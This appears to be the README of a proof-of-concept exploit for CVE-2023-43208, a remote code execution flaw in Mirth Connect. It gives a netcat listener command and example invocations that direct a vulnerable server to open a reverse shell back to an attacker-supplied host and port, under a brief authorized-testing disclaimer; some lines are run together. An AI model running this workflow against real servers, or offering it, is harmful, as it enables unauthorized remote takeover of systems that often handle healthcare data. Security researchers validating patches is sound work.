
PoC for CVE-2023-43208 RCE exploitation.
Proof-of-concept Python script targeting CVE-2023-43208 in Mirth Connect.
Use only in environments you own or are explicitly authorized to test. This repository is for security research, validation, and defensive testing. The author assumes no responsibility for any misuse or damage caused by this tool.
exp.py is a minimal-dependency version of PoC that:
/api/server/version4.4.1/api/users if the target appears vulnerableThe script defaults to HTTPS and can be switched to HTTP with --http.
python3 exp.py -u <target> -lh <listener_host> -lp <listener_port> [--http]
-u, --url: Target Mirth Connect URL or host-lh, --lhost: Local host/IP for the reverse connection-lp, --lport: Local listening port--http: Force HTTP instead of HTTPS (default is HTTPS)Start a listener first:
nc -lvnp 4444
Run the script:
python3 exp.py -u https://target.example.com -lh 192.168.1.10 -lp 4444
For an HTTP-only target:
python3 exp.py -u target.example.com -lh 192.168.1.10 -lp 4444 --http
4.4.1.K3ysTr0K3R and Chocapikkpredyy